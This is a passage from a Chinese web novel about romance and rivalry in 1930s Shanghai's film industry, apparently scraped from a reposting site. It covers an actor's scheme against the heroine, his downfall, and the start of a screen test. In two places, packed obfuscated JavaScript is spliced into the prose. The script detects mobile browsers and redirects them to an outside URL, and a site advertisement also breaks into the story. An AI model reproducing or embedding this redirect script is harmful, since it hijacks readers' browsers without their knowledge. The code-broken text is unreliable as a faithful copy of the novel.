“她说的话不算!”邓天星嗤笑“搞搞清楚现在制片人才是说话算的那个。你想想眼下公司里有档期的又符合角色气质年纪的女演员总共才几个?段妙卿的《牡丹魂》上个月就开拍了沈莺莺刚进《大宅疑云》剧组其他人要么是有戏在拍要么无法像你这样独担大梁你可是前年就主演过《春江愁》之后扮演的几个配角口碑也都极好你已经攒下了不少影迷只差一部主角戏就能彻底站稳脚跟了只要闻亭丽被替换掉你就是当之无愧的人选。” 罗殊红眼里燃起了希望。 “可是——” “别可是了明天上午公司搞试镜几个制片人都会到场你早些过来听消息到时候一定会出紧急状况的一旦闻亭丽被踢走 罗殊红仍有些迟疑:“……你怎么敢保证闻亭丽一定会出状况?万一人家明天表现好呢?” “傻子当然是有十足把握我才会这样说。”邓天星语气异常得意“话说起来这次试镜还是黄导提出的她倒是对闻亭丽有信心可惜明日第一个狠狠打她脸的就是闻亭丽。” “你该不是用了什么下三滥的手段吧?” 邓天星嗤之以鼻:“搞搞清楚名利场中什么是上三滥?什么又是下三滥?这地方从来只有红与不红之分。你就是太老实所以才在公司里坐了这么久的冷板凳你以为闻亭丽就是靠什么正当手段得到这个角色的?就凭她一个从来没演过电影的新人?你呀未免把人想得太单纯了我不过是帮你拿回本该属于你的机会罢了。别怕一人做事一人当我邓天星绝不会连累你况且此事我做得很隐秘任谁也怀疑不到我头上来。再说闻 亭丽很快就要成为一枚弃子了,到时候谁会帮她出头。 说着,他将自己的手轻轻放到罗殊红的手背上。 “殊红,机会稍纵即逝,下次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603293|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要等到《南国佳人》这样的好戏,还不知道是什么时候,为了帮你把这机会抢回来,前前后后我不知费了多少心思。当然,这一切都是我自愿的。我爱你,凡是你想要的东西,我粉身碎骨都要帮你弄来。 他的语气和眼神透着一种近乎偏执的迷恋,即使是心肠再硬的人,面对这景象都会心软一瞬,罗殊红虽然飞快把手抽回来,脸却红成了一团,她忙借着喝咖啡遮掩,但无法掩饰脸上那一闪而过的羞意和期待。 她转眼就恢复了常色,起身,拿起桌上的手包和剧本向外走。 “我走了。 邓天星脸上笑容不减,但表情多少有点失落。 谁知罗殊红突然回头看邓天星,“喂,我要去对面百货公司买点东西,你要不要送送我? 邓天星顿时乐开了花,忙起身跟上去。 心里却暗自得意:苦追三个月,还不是要被我拿下了?罗殊红什么都不缺,唯独在拍戏这事上不能随心所欲——黄远山挑演员从来只看人不看钱。如今我成功帮她弄到这个角色,她心里不被狠狠打动才怪,接下来再设计几出罗曼蒂克的戏码,早晚她得是我的人。 一路上,他不断说着笑话哄罗殊红开心,在罗殊红被逗得捂嘴直笑的当口,他定睛瞟了下她戴在手上的金刚石戒指,真不愧是烟土大王罗坤龙的千金,这样硕大的一颗钻石,凭他现在的片酬不知道要拍几部戏才能买得起。 只要娶了她,今后他何须再整日苦哈哈耗在剧组拍戏?一想到昨天在片场又被导演骂了一通,他就气不打一处来,他早就受够这窝囊气了! 说起来,这次的事办得的确有点太冒险,但谁叫富贵险中求呢,不够险,他也没办法拿下罗殊红,同时,也正因为够险,任谁都不会怀疑是他做的。为了确保万无一失,他特地到苏州找的流氓,此人现在已在回苏州的火车上了,就算陆家有通天的本领也查不出个所以然来。 不过今天闻亭丽的表现证明他的担心是多余的,他千算万算,没算到闻亭丽今天跑到孟公馆去。 一个小姑娘独自跑去一个单身男人的家里 ,用脚趾头想想都知道是去做什么去了。 看到那些照片后,陆世澄不气得当场跟闻亭丽翻脸才怪,哪还顾得上帮她找凶手。 永远不会有人知道是谁推她下楼的了。 想到此处,邓天星差一点笑出声。 晚上他陪罗殊红在新雅吃晚餐,坐在玻璃窗前,刚好能看见对面矗立着陆家名下的枫华大厦,邓天星打完电话回来,志得意满冲着那幢华灯如星的建筑物吹了声口哨,他已经打电话回公寓确认过了,果然没人怀疑到他头上,瞧吧,陆家的公子也不过这点手段。 晚上回剧组,邓天星又一次迟到了,剧组的人都在等他,可是他一点愧意也没有,他现在也算公司的当红小生,影迷们都是冲他来的,没有他,这部戏就没有票房,导演最多就是骂他一顿,还能拿他怎么样? 可他刚进化妆间化妆,导演就把他拉到一边。 “小邓,从明天起你不用来了。” 邓天星摸摸耳朵:“您在开什么玩笑?” “我说,明天起你不用来了。”导演的样子一点也不像在开玩笑,面无表情说完这话,扭头就走。 “等等。”邓天星把人拽回来,“我不过是迟到一次,导演你用不着这样吓唬我吧,我可是《时间的沙》的男主演,戏才拍到一半,你叫我别来了?” 导演垮着脸说:“这件事不是我一个人的决定,公司的几位元老全都同意了。有人给《时间的沙》投了一大钱,足够我们拍两部戏还有多,人家只提出一个条件:马上换男主角。正好剧组很多人早就对你不满,公司上层立即就同意了。对方还推荐了华虹公司的朱小舟,片酬和票房分红也都谈好了,朱小舟比你名气更大,我们想不出任何理由拒绝。” 邓天星的笑脸彻底僵住了。 “瞎讲!谁那么好心突然投这样大的一笔钱?再说这人又为什么要搞这么一出?你别告诉我就是为了搞我?” 导演的表情说明了一切:人家就是为了搞你。 他拍拍邓天星的肩膀。“小邓啊,虽然我不知道你做了什么,但你这次得罪的分明是个狠角色,假如你还想在这一行干,最好赶紧向人家当面赔个罪,态度诚恳些,话说得软一些,人家说不定能放你一马。至于我这部戏,你就别想了。” 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节) “导演——”邓天星这下彻底慌了,吓得抓住导演的胳膊,“这其中一定有什么误会。您是公司的老人,您一定得帮我跟黄姐他们说说好话,当初我入行第一部戏就是您导的,您常常说我很有前途的。” “是,你的确是个很有天赋的演员,不然也不能只拍一部戏就红起来,可惜你从来也不肯把心思用在正道上,在剧组不敬业也就算了,在外头也不上道,我早就警告过你,你这样下去早晚会出事,这次得罪了硬茬吧,我们也爱莫能助,你自己好自为之吧。” 邓天星眼睁睁看着导演扬长而去,忽然想起什么,黑着脸朝门外跑去。 *** 孟公馆。 邓天星一边擦眼泪,一边愤恨地诉说今天的遭遇。 “……孟大哥,这次你无论如何要帮我做主。当初我进黄金影业公司,就是您推荐的,他们明知我是孟家的远房亲戚,这样做分明是不把您和孟家放在眼里!” 孟麒光点了点雪茄上的烟灰。“所以连你自己也弄不清楚是谁在对付你?” “我有一个猜测,这件事很可能是陆家指使的。”邓天星的语气不太确定,说完,不好意思挠挠脑袋,“话说起来,这件事还跟孟大哥有关。前几月的某一晚,我路过丰云里的某条衖堂,看到你和闻小姐在路边聊天。” 孟麒光笑容微滞。 “我也是偶然撞见的!”邓天星忙道,“我只记得当时已经很晚了,孟大哥你好像一直在跟闻小姐说话,后来闻小姐参加选美比赛,孟大哥身为逸菲林的股东,却跑到欣欣百货去捧场,我在报纸上看到这桩新闻,就猜你和闻小姐是一对恋人,可是没过多久,我就看到闻小姐跟陆世澄走在一起,我心里很替你打抱不平,我这人向来直爽,就忍不住在剧组里呛过闻亭丽几次,要说得罪人——也就这几次算是了。” 孟麒光轻哂:“你的意思是,就因为你呛过她几次,闻亭丽就唆使陆世澄这样对付你?” “我也……不是很确定。”邓天星眼神闪烁,“但要说最近跟我有过节,又能拿出这等大手笔对付我的,除了陆家再没有第二个。我是万万没想到闻亭丽这样记仇,也不知道她究竟在陆世澄面前说了什么,陆世澄一出手就这样狠。” 孟麒光脸上有一层淡淡的难以捉摸的笑 第 57 章 【加更】深爱。 第57章【加更】深爱。 大夫进来查房时告诉闻亭丽:可以下地走动,注意别撞到伤口就好。 此话一出,闻亭丽如蒙大赦,当即要求看护搀扶她出去给周嫂打电话。 打完电话便在走廊里慢慢踱步,奇怪转了好几圈也没瞧见陆世澄和邝志林的身影,看护告诉闻亭丽,一楼尽头有一间贵宾室,兴许陆先生和邝先生在那里头说事。 闻亭丽只得先行回房。 躺下后想起陆世澄临走前告诉她的事,心里不由充满了期待,他竟然在治哑疾。她是听过陆世澄开口说话的,在他重伤昏迷的那次,典型的年轻男子的嗓腔,带点少年气,那声音既清澈又有磁性。 若是有朝一日他当面开口跟她说话……她想象着那场景,不禁自顾自发笑,怕看护瞧出来,悄悄转向窗口,继续天马行空地畅想。 她记得邹校长曾说过陆世澄小时候很爱说话也很会说话的。 “小小年纪就常常语出惊人。”这是邹校长的原话。 如今陆世澄都这样大了,真能治好顽疾的话,不知还会不会跟小时候一样能说会道。 突然意识到,平时她跟陆世澄基本是靠着手势和文字来交流,陆世澄很少在纸上正式地称呼她什么。 若是换成当面对话,不知他会称呼她什么? “闻女士”、“闻小姐”——这倒是符合他沉静的个性,可是以他们目前的关系来说,这称呼未免过于客套。 直呼她的大名“闻亭丽”?——亲密倒是够亲密了,但在她的印象中情侣间好像只有吵架时才会这样。 要么就是——“亭丽”? 她东想西想,心里就像孵着一只雀儿似的,一秒钟都静不下来,上次心情这样雀跃,还是联考分数放榜的那回。 忽听身后看护说:“陆先生。” 闻亭丽欣然回头,正是陆世澄回来了。 她望着他直笑,她的这种笑容是最具有感染力的,陆世澄不禁也露出笑意,他的神色跟走之前没有两样,但他身后的邝志林的表情却有点复杂。 然而,邝志林转顷刻间就恢复了往日那热络而不失分寸的态度。 “闻小姐一定饿了吧,澄少爷已经让人去康乐酒 家订晚饭您还有什么要吃的要买的只管吩咐门外的随从。邝某还有一点急事要去办就先失陪了。” 闻亭丽忙说:“您去忙。” 尽管邝志林迅速恢复了常态但她没有漏看他眼中的戒备之色。 她心里疑团百出邝志林已经许久没有用刚才那种眼神打量她了。 难道说—— 等等今天在广东商行她一共打过两个电话邝志林该不是在帮她找到凶徒的过程中查到了什么。 她下意识将视线挪回陆世澄的脸上希图从他的眼神里探究出什么陆世澄却望着另一旁的看护看护回道:“吃了一点水果下地走了十分钟……” 闻亭丽忍不住提醒陆世澄:“你身上还全是血呢要不要请人帮你拿一件干净衣裳过来。” 陆世澄低头看看自己看护乖巧地说:“陆先生的随从一早就去拿衣服了这会儿估计快回来了我出去瞧瞧。” 等看护掩门出去陆世澄坐在床边握住闻亭丽朝自己伸过来的手。 这是两人第二次握手。陆世澄的指尖温度比她要高握在手里很温暖。 那是一种很具体的真实感她下意识将这只手攥紧她在想要不要主动跟他解释一句。 陆世澄立刻有所察觉他抬头看看她。 闻亭丽装作在欣赏他的手事实上她第一次见到陆世澄时就注意到他的手好看手指修长白皙指甲柔滑圆润现在这双手握在她手里了。 陆世澄把脸凑近一点闻亭丽心一慌抬眸谛视他。 陆世澄深色的瞳孔里只有她的影子。 他示意她看他的手他的指节都被她攥得有点发白了。 闻亭丽一愕忙笑着松开她试图从陆世澄的眼睛里看出一点什么 哪怕他的眼睛里露出一点怀疑她都不会像此刻这样不安可是那里面连一点理所当然的指责、或是高高在上的审视都没有。 这让她有点无所适从在她沉默的当口陆世澄也在旁瞅着闻亭丽他想了一想随手拿起床头柜上的便笺簿在上面写了个“桃”字。 闻亭丽立即明白他这是问她要不要把小桃子和周嫂接来。 她心窝一暖,摇摇头说:“前头我已经把我受伤的事打电话告诉了她,待会她就会带小桃子来医院的。不不不……不用你去接,我已经帮她们从车行雇了辆车。 她指了指挂在床尾栏杆上的书袋:“我要那个。 陆世澄帮忙递给他,闻亭丽当着他的面从里面取出一本厚厚的相册和两张奖状,翻开给他看。 “看,这是当初我在秀德中学念书时参加校外演出的照片集,下午我那同学给我的。“ 她指指照片上站在她身边的一个女孩子。 “就是她,乔宝心。你应当也见过的,我在秀德念书时同她关系最好。 她定神望望陆世澄的神色,又说:“她家里正安排她相亲,她为了跟家里抗争,特意填报了北平的大学,现在她躲到她表舅家里去了——也就是孟麒光家里。 陆世澄的眼睛里终于起了微澜。 “今早上乔宝心给我打电话,她说她不日便要出发去北平,临走前很想见见我,可她又不方便出来,因为怕被家里人又捉回去关禁闭,就约我去—— 陆世澄抬手捂住闻亭丽的嘴。 闻亭丽胸口突突直跳,这是陆世澄第一次打断她说话。 她怔怔瞅着他。 陆世澄缓缓对她摇头,很认真的样子。 他信任她,所以他什么也不问,她更无需向他交待什么。 闻亭丽眼圈一涩,笑容立时轻松起来。 “你让我把话说完……我答应去见她,可我不想在孟公馆逗留太久,就提前从剧组拿了一些头套和化妆品,到那后把乔宝心化成了一个中年太太,之后我带她去到附近的麦根路小吃店说话,我们都觉得这样更轻松自在,没多久我们就分开了,她回孟公馆,我独自去对面的广东商行打电话,紧接着在二楼遇到了凶徒。 这一次,她没有强调自己只给陆世澄打了一个电话,但也没有进一步阐明她究竟打了几个电话。 厉成英是她必须坚守的底线。 但她同时也在他面前做到了最大化的坦诚。 说完这些话,她心中释然不少。 再看陆世澄,发现他在微笑。 对望片刻,她顺势将自己的脑袋倚到他的肩膀上:“你笑什么? 陆世澄在她的发顶轻轻吻了一下。 闻亭丽嘴角高高翘起,咕哝道:“我饿了……饭怎么还不来?” *** 在闻亭丽嚷饿之后不到五分钟,康乐酒家的饭菜送到了。 陆世澄在床边用勺子一口一口喂她吃,就像当初他重伤卧床时,她对他做的那样。 直到把闻亭丽喂饱了,陆世澄才开始吃自己的那份。 “尝尝排骨,排骨好吃。”她在旁边指指点点。 “陆先生,原来你挑食呀!你居然一块鱼都不碰?” 陆世澄手中的筷子顿在那儿,闻亭丽笑着捂住自己的嘴:“好好,我不说了。” 恰巧邝志林返回,见此情形,不禁打趣着说:“我发现只要闻小姐在场,永远不必担心不够热闹和有趣。” 闻亭丽坦然同邝志林打招呼,邝志林仔细瞧一番二人的神色,仿佛暗暗松了口气。 他特地等到陆世澄吃完饭才说正事:“那人已经抓到了,姓黄,是苏州人。” 闻亭丽忙问:“是不是跟邓天星有关。” 陆世澄对她颔首。闻亭丽喜出望外,邝志林便将来龙去脉告诉闻亭丽。 “这个邓天星也太歹毒了,我说他为什么总在剧组散播关于我的谣言,原来是为了帮人抢戏。”闻亭丽气得要从床上跳下来,又被陆世澄摁了回去。 邝志林接话:“对于邓天星这等贪慕虚荣的穷小子来说,罗家才是一步登天的踏板,这次的事固然要冒极大的风险,却能在最短时间内打动罗小姐的心,假如叫他侥幸成功了,从头到尾他只需给那苏州无赖支付一点‘人工费’,算起来是一本万利的买卖。可惜这姓邓的终究只是个市井无赖,眼界和手段着实太低级了些。” 外头随从敲门道:“有位闻小姐的同事求见。” 门一开,却是黄远山。 “黄姐!你怎么知道我在这儿?” 黄远山手里拎着几袋水果和补品,进来先热情地跟陆世澄问好,又跟邝志林打声招呼,这才对闻亭丽说:“明天不是要试镜了嘛,我想提前交代你几句,结果到处找你不到,适才给你家里打电话,周嫂说她正要带小桃子出门来医院看你,我才知道你受了伤,恰巧我在这附近办事,就率先开车过来了,这究竟 是怎么回事? 闻亭丽恨声将邝志林的话又复述一遍。 “好个瘪三!黄远山气得浑身乱颤,“一天到晚不务正业,尽干这些缺德的勾当!难怪他前几天老就跟我打听《南国佳人》的进展,原来是打着这个馊主意,我看他真是作死! 气咻咻骂了一顿,又笑叹:“我还纳闷邓天星这次究竟踢到了哪块硬石板呢,原来是——陆小先生雷厉风行,痛快!痛快! 她眉开眼笑对陆世澄说:“对于《时间之沙》重拍和调换男主演,黄某举双手双脚赞成,自打这姓邓的臭小子拍了两部还算叫座的戏,就一天飘似一天,这次陆小先生出手整他,公司里就没有一个不拍手称快的,关键找来的朱小舟比邓天星演技更好,其实吧,当初我们也曾考虑过找朱小舟,他只推说自己没有档期,没想到陆小先生派人跟他一谈就谈拢了,陆先生这样有眼光有魄力,真看不出是第一次投资电影。 她说了一箩筐的恭维话,边说边觑着陆世澄的反应,在陆世澄身上永远看不到高傲和敷衍,他一直在听她说话,并且听得相当认真,这给予了黄远山莫大的鼓励。 她兴奋地搓搓手:“电影行业正需要您这样有实力的投资商,陆小先生听说过美尼公司吧?他们两兄弟五年前在北平建公司,短短几年就发展起来了,仅去年一年就赚了六十多万大洋,若是由陆家来做电影,绝对会比美尼那样的小作坊发展得更快,陆先生,不如我们借着这次机会好好谈谈将来的合作?敝公司除了《时间的沙》,还有许多精彩绝伦的剧本,有家庭伦理片、文艺爱情片、武侠片、侦探片、喜剧片,陆小先生一起了解了解? 陆世澄微微一笑。 他毫不犹豫地摇头。 他对电影业毫无兴趣,这次不过是要整垮邓天星而已。 闻亭丽不便插言,只是笑。 黄远山倒也不生气,大咧咧地转移话题道:“瞧我,忘说正事了,亭丽,你现在伤成这样,还能不能参加明天上午的试镜? “当然能参加了!闻亭丽急声说,“这本来就是我的角色,就算是断了腿我也要去的。 “呸呸呸,什么断腿。嘴里虽啐着,黄远山脸上却浮现自豪的笑容。 她将明早的试镜安排一五一十说了。 前一阵《南国佳人》拉到了飞迪儿几位老板的投资一跃成为黄金电影公司的顶级重头戏现在各方面都准备得差不多了只是选角上始终存在争议为了让黄远山乖乖听从安排制片人请到了玉佩玲、乐知文、小蝶君、林曼如来跟闻亭丽一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我送你一件衣服好不好?你看,你上次那件糊了我的眼泪和鼻涕,这次的又被我的血蹭脏了,咦,你这袖扣真别致,是什么做的。” 她好奇地摩挲他的袖口,没想到一低头,头发不小心勾住了陆世澄上衣口袋里的钢笔帽。 “哎呀。”她叫痛。 陆世澄无奈把住她的手腕,仔细帮她分开那一缕被钢笔勾住的头发,闻亭丽自己也用手去乱摸,结果一会儿摸到了陆世澄的下巴,一会儿又摸到陆世澄的鼻梁。 他不由得笑起来,她也忍不住笑。 他忽然低下头亲她一口,闻亭丽反亲他一口,他索性用手固住她的脸,在她脸上乱亲一气,闻亭丽闭着眼睛吃吃轻笑,正腻着,门外突然冒出一个小孩稚嫩的嗓音,伴随着“啪啪啪”的敲门声。 “姐姐。” 两个人像触发了弹簧机关一样,飞速分开,陆世澄撤身的同时没忘记扶一把闻亭丽,因为怕她扯动伤口。 周嫂进屋时就看见这一幕:闻亭丽一只手还没来及从陆世澄的腰后撤回去;陆世澄似要走开,手却扶着闻亭丽的肩膀。 陆世澄佯装无事在自己的裤袋里一掏,没摸到什么好玩的,便随手从果篮前拿出个圆滚滚的花旗橙子,蹲下来递给小桃子。 小桃子眼睛一亮,她还没吃过这么漂亮的橙子呢,陆世澄耐心帮她剥好皮,又递给周嫂一个。 小桃子吃高兴了,抱着那外国橘子想要上床。 “姐姐痛痛了,小桃子呼呼。” 周嫂忙将小桃子抱下来,闻亭丽在小桃子的脸蛋上亲了一口:“姐姐不痛。” 周嫂一脸担忧打量闻亭丽:“真要把人急死,好好的这是怎么了。” 闻亭丽把事发经过粗略地说了一下,周嫂早注意到病房里水果和生活用品一应俱全,看护也候在一旁,她一时不知说什么好,感动不已地说:“陆先生,你这样年轻,却这样会照顾人。” 陆世澄礼貌地向周嫂点点头,又朝门外指指,意思让她们在屋里说 话自己出去待一会儿。 小桃子从小挎包里掏出一粒朱古力糖踮脚送给陆世澄。 “陆先生吃。”这是小桃子表达感激的一种方式小小年纪的她已经听得懂一些大人之间的对话了她明白了是陆先生把受伤的姐姐送进了医院。 正好邝志林进来见状笑道:“邝伯伯最喜欢小桃子了这糖能不能也给邝伯伯吃一粒?” 小桃子很大方地给了邝志林一粒想了想又返身补给陆世澄第二粒。 看护在旁打趣:“不得了这么小就知道搞区别对待了。” 一屋子的人都笑了。 *** 当晚周嫂和小桃子在病房的隔间里睡下了陆世澄半夜才回陆公馆。 次日早上大夫过来查房时闻亭丽强烈要求大夫帮自己拆除纱布。 陆世澄固然担心她的伤势却也知道这场试镜对闻亭丽来说至关重要经过一番商议外科主任终于同意闻亭丽早上出院但下午必须马上回来继续稳固治疗。 临走前外科主任又给闻亭丽用了一次止痛针。 “别以为这就万事大吉了。”主任强调说“这两天的恢复至关重要 此话一出大伙都暗自为闻亭丽今天的试镜捏了把汗闻亭丽面上倒是一点也不发愁只是在去摄影棚的路上明显比往日要安静许多也不缠着陆世澄说话也不对着窗外左顾右盼只全神贯注翻看剧本。 陆世澄时不时望她一眼。 作者有话要说 连续两天都是双更昨天的两更红包已发记得点私信查收今天的两更各自随即掉落400个红包 第 58 章 【四更合一】王者... 第58章【四更合一】王者. 快到公司时,闻亭丽突然信心满满地冒出一句:“我一点也不担心,真的,我都准备这么久了,这角色本就该是我的。” 可是她下车时连包都忘了拿,急冲冲就朝马路对面走,陆世澄追上去将她拽住,把书袋塞到她手中。 闻亭丽自己也傻了眼,平常她可是把书袋看得比自己的眼珠子还要重的。 “我……” 陆世澄体谅地摸摸她的脑袋,又指指自己的腕表。 【待会我来找你。】 “嗯。”闻亭丽抱好书袋重新穿越马路,走出去好远了,一回头,就看见陆世澄不放心地注视着她。 看她回望,陆世澄扬起嘴角,对她做了个鼓励性的手势。 他在守护她,而这种无声的守护似乎比一万句鼓励的话更让人暖心。 她顿时觉得心里甜丝丝的,昂首对他拍拍自己的胸脯。 “等我好消息吧。” 再进去时,闻亭丽几乎是一步三回头,直到看不到陆世澄的身影了,才恋恋不舍地收回视线。 一楼办公室已来了不少同事,闻亭丽径直到楼上办公室去寻黄远山,忽听身后传来一阵说笑的声音,一大帮人簇拥着一位艳光四射的女郎进来了。 闻亭丽不由倒抽一口冷气,玉佩玲竟然比荧幕上还要漂亮十倍! 大厅里的几个同事也像集体丢了魂似的,就那样呆愣愣地看着玉佩玲。玉佩玲旁若无人跟身边人说笑:“那就是陆世澄?嗬。” 一个“嗬”字,却比直接夸赞还要让人浮想联翩。 她身旁的经理笑着接话:“过眼难忘吧?陆家的二爷三爷就是出了名的相貌标致,这位陆小先生比他两位叔叔模样还要好,尤其是那份清雅和沉稳,真不知用什么词来形容才好,当真是神仙似的人物!得亏是托生在陆家,这要是托生在穷苦人家的肚子里,嘿嘿,凭这相貌,少不了是名动一时的名伶之流。” 闻亭丽不大喜欢听人用这种口吻谈论陆世澄,瞟瞟那人,看着像玉佩玲的经理。 玉佩玲懒眼含笑:“他一大早来这儿做什么?” “听说——” 话说戛然而止,几个人看见了楼梯前 的闻亭丽。 玉佩玲眼睛一亮,驻足打量闻亭丽。 闻亭丽殷勤地做起了自我介绍:“玉小姐好,我叫闻亭丽,是——是黄金影业公司新招的演员。 玉佩玲倒没什么架子,含笑点点头算是打了招呼,又大大方方对身边的经理说:“黄远山挑新人的眼光倒是越来越好了。 那黑瘦经理戒备地瞅一眼闻亭丽,就示意玉佩玲看身后。 只见另一拨人从大门口进来,当中是个穿藕荷色长裙的小个头女人,正是小蝶君,陪同小蝶君进来的黄远山和黄金影业的几位元老,以及三位制片人。 小蝶君是一张标致的方圆脸,杏眼、柳眉、俏鼻,即便不说话亦含着三分笑意,让人一望就心生好感。 望见前方的玉佩玲,小蝶君嘴边的梨涡动了一动。 “你也来了? “我不能来么? “那我走。小蝶君说走就走。 众人哄堂大笑,黄金公司的几位元老上前忙将小蝶君请回来。 “使不得!使不得!二位可是业内出了名的好朋友,这玩笑可开不得。 小蝶君这才捉住玉佩岭朝自己伸过来的手臂,两个人笑吟吟手挽着手向上走,大伙众星拱月围上去,期间除了黄远山急匆匆对闻亭丽丢了个眼色,其余的都没空搭理她。 闻亭丽不以为意,只好奇周曼如和乐知文什么时候来,在楼下稍站了一会,就听楼梯上“咚咚咚一阵响,黄远山带着大队人马再次下楼,说是周曼如和乐知文的车已经停在楼前了。 周曼如一进来,闻亭丽不由自主屏住了呼吸,周小姐不大爱说话,气质有些懒懒的,五官也显得有些平淡,但她的身段和风韵却比前面两位女明星更出众,站在人群中像一只优雅的白天鹅似的,一举一动间仿佛有艳光流淌。 闻亭丽看得移不开眼,她看过周曼如的每一场戏,不管是哭戏还是滑稽戏,每一幕都给她留下了极深的印象,她一直觉得周曼如是年轻一辈中最有灵气的女演员。 乐知文是四人当中年纪最小的,亦是打扮得最朴实的,穿一件男式西洋白衬衣配驼色背带裤,气质清冷,待人却相当有礼貌,她一眼瞥见闻亭丽,立即拨开身边的人群朝闻亭丽走来。 闻亭丽开心地迎 上前。 “好久不见。” “听说你如愿考上了圣约翰的声乐学院恭喜恭喜。” “我记得你上的是沪江大学医科对么?”在这个漫长的暑假同一届的学生们见面总少不了这样提问即便乐知文也不例外她这样问可见自那次比赛结束后一直很关注闻亭丽的动向。 “是沪江大学但我的分数不够上医科。”闻亭丽笑着说“最后改报的教育系。” 乐知文还待说话一位制片人亲自跑过来招呼:“乐小姐会客室茶点都准备好了请移步上楼。” 众人不容分说拥着乐知文走了闻亭丽不得已也跟着上楼抬头眺望走在最前方的周曼如心里只遗憾刚才没能跟周曼如搭上话。 二楼设有灯光间、化妆间、服装间及演员休息室此外还有一间宽敞的摄影室此次试镜就安排在摄影室里。 落座后黄金影业的几位老板迟迟不肯开场玉佩玲忍不住打个呵欠:“黄老板要不早点开始吧下午我还要赶去杭州参加西湖大剧院为我举办的影迷见面会呢。” 她说起话来自有一股浑然天成的俏皮劲儿让人没办法生气。 “马上马上!”黄远山当即示意几个助手下楼这架势分明在等人。 小蝶君等人面面相觑导演在此、制片人在此、相关剧组人员也都在此还能有什么重要人物没到场。 忽有一位工作人员进来对着黄远山使个眼色几人齐刷刷出席不多时黄远山等人陪同一位女子进来了。 闻亭丽眼睛倏地睁大女子圆脸短发笑容可掬正是上回在游乐场见过的那位中年女士。 “月照云!”有人率先出声。 在座的即便没见过月照云本人也一定听过她的大名 现在业内流传着一个迷信的说法就是月照云的书相当旺票房并且极其能捧角儿因此各大公司几乎是抢着购买。 玉佩玲身边那位姓陈的经理第一个跳起来。“月女士 是何时来沪的?!您下榻在何处?和平饭店?哎哟,和平饭店的房间太小了,我们再重新帮您安排食宿如何?这是佩玲,她早就想认识月女士了。” 小蝶君身边的助理也不甘示弱,也挤上前道:“月女士,这边请坐。” 月照云像是不大习惯这种场合,目光一时不知该往哪儿放,黄远山义不容辞帮着解围。 “好了好了,月女士是个喜静不喜闹的性子,平日她也不大出来应酬,我们也是三请四请才把月女士请到上海来的,大家别太热情,当心把人家吓跑了。” 月照云顽皮地对众人指指自己额头上的汗:“诸位甭见笑,月某一到人多的场合就出汗,尤其在美人面前爱紧张,这毛病也不知何时才能改一改。” 她说话时有着北平人特有的爽朗和幽默,屋里的人不由都笑了。月照云被安排坐在飞迪儿的杜老板身边,可是她一坐下就欠身同对桌的周曼如打招呼,周曼如也一改方才那种漫不经心的态度,主动离开自己的座位,亲亲热热地握着月照云的手说话。 闻亭丽不由想起周曼如主演的第一部戏就是由月照云某书改编的《春申往事》,周曼如从此得爆大名。看样子,在那之后两个人一直维持着良好的关系。 黄远山又拉着闻亭丽和乐知文上前介绍。 月照云跟乐知文显然也相识,一开口就叫“小文”,可是她在跟闻亭丽打照面时,却露出一丝意味深长的笑容。 闻亭丽不免心生忐忑,迄今为止她跟月照云打过两次照面,一次是在陆公馆,当晚月照云在人堆里看着她和陆世澄离开,另一次则是在游乐场,自己又是和陆世澄在一起。 也不知这两次都给月照云留下了什么样的印象。 好在她最不怕的就是跟人套近乎,立刻在肚子里预备了一番话,打算一开口给月照云留下一个好印象。 “月女士,我——” 这时黄金影业的大老板刘梦麟走过来剪断了话头:“月女士,茶来了,快请这边坐!” 闻亭丽再一次被晾到了一边,她自己倒没什么,黄远山却有点看不过去了,她忙让底下人帮闻亭丽在乐知文旁边找了个位置坐下,这一找才注意到,其他四位女明星桌面上都有錾金的名牌,闻亭丽面前连张纸片卡都没有。 换作旁人难免生恼,闻亭丽却是个心大且自信的,非但没有因此感到自尊心受损,反而兴致盎然在那儿打量平日里只能在电影里见到的几位大明星。 黄远山在上首含笑开腔道:“鄙公司的《南国佳人》即将开拍,该片投资高达十二万大洋,严格按照好莱坞的规模进行筹备和制作,力图打造一部具有影响力的精品电影。导演正是黄某,制片人则是飞迪儿公司的几位前辈,编剧则是名作家月照云女士,摄影师大家也都认识,(注)是美国纽约电影专科学校毕业的,如今在业内鼎鼎大名的郑小璋先生。去年上座率最高的《怒潮》一片就是由他掌镜的……” 众人面上无风无浪,但闻亭丽明显感觉到一股暗流开始悄悄涌动。在摄影棚里待了这几月,她对业内的情况也算有了初步的了解,心知凭这片子的投资规模和制作班底,足以打动任何一位当红演员。 “该戏的主角南淇是一位性格复杂的女性,自十六岁学生时期登场始,至三十一岁香消玉殒结束,戏份贯穿全片,对演员的演技和形貌挑战极大,公司经过多番讨论,一致认为选角一事需慎之又慎,征集了多方意见,最后决定通过试镜的方式选定女主角,鄙公司的罗殊红小姐原本也是参选者之一,但因为昨日临时出了点状况,今早她已主动申请退赛……总之,非常荣幸能请来上海电影界最优秀的青年女演员参加试镜,为求公平起见,比赛将采取公开试镜及公开打分制。与会者有上海电影协会翁主席、卡尔登影院戴.罗恩经理……” 黄远山的助手谭贵望将剧本一一分发给四位女演员。闻亭丽对这剧本早已烂熟于心,接到手里也没看,黄远山却在上头对闻亭丽使了个眼色,闻亭丽纳闷翻开,一下子傻眼了。 竟是她从来没见过的三幕戏。 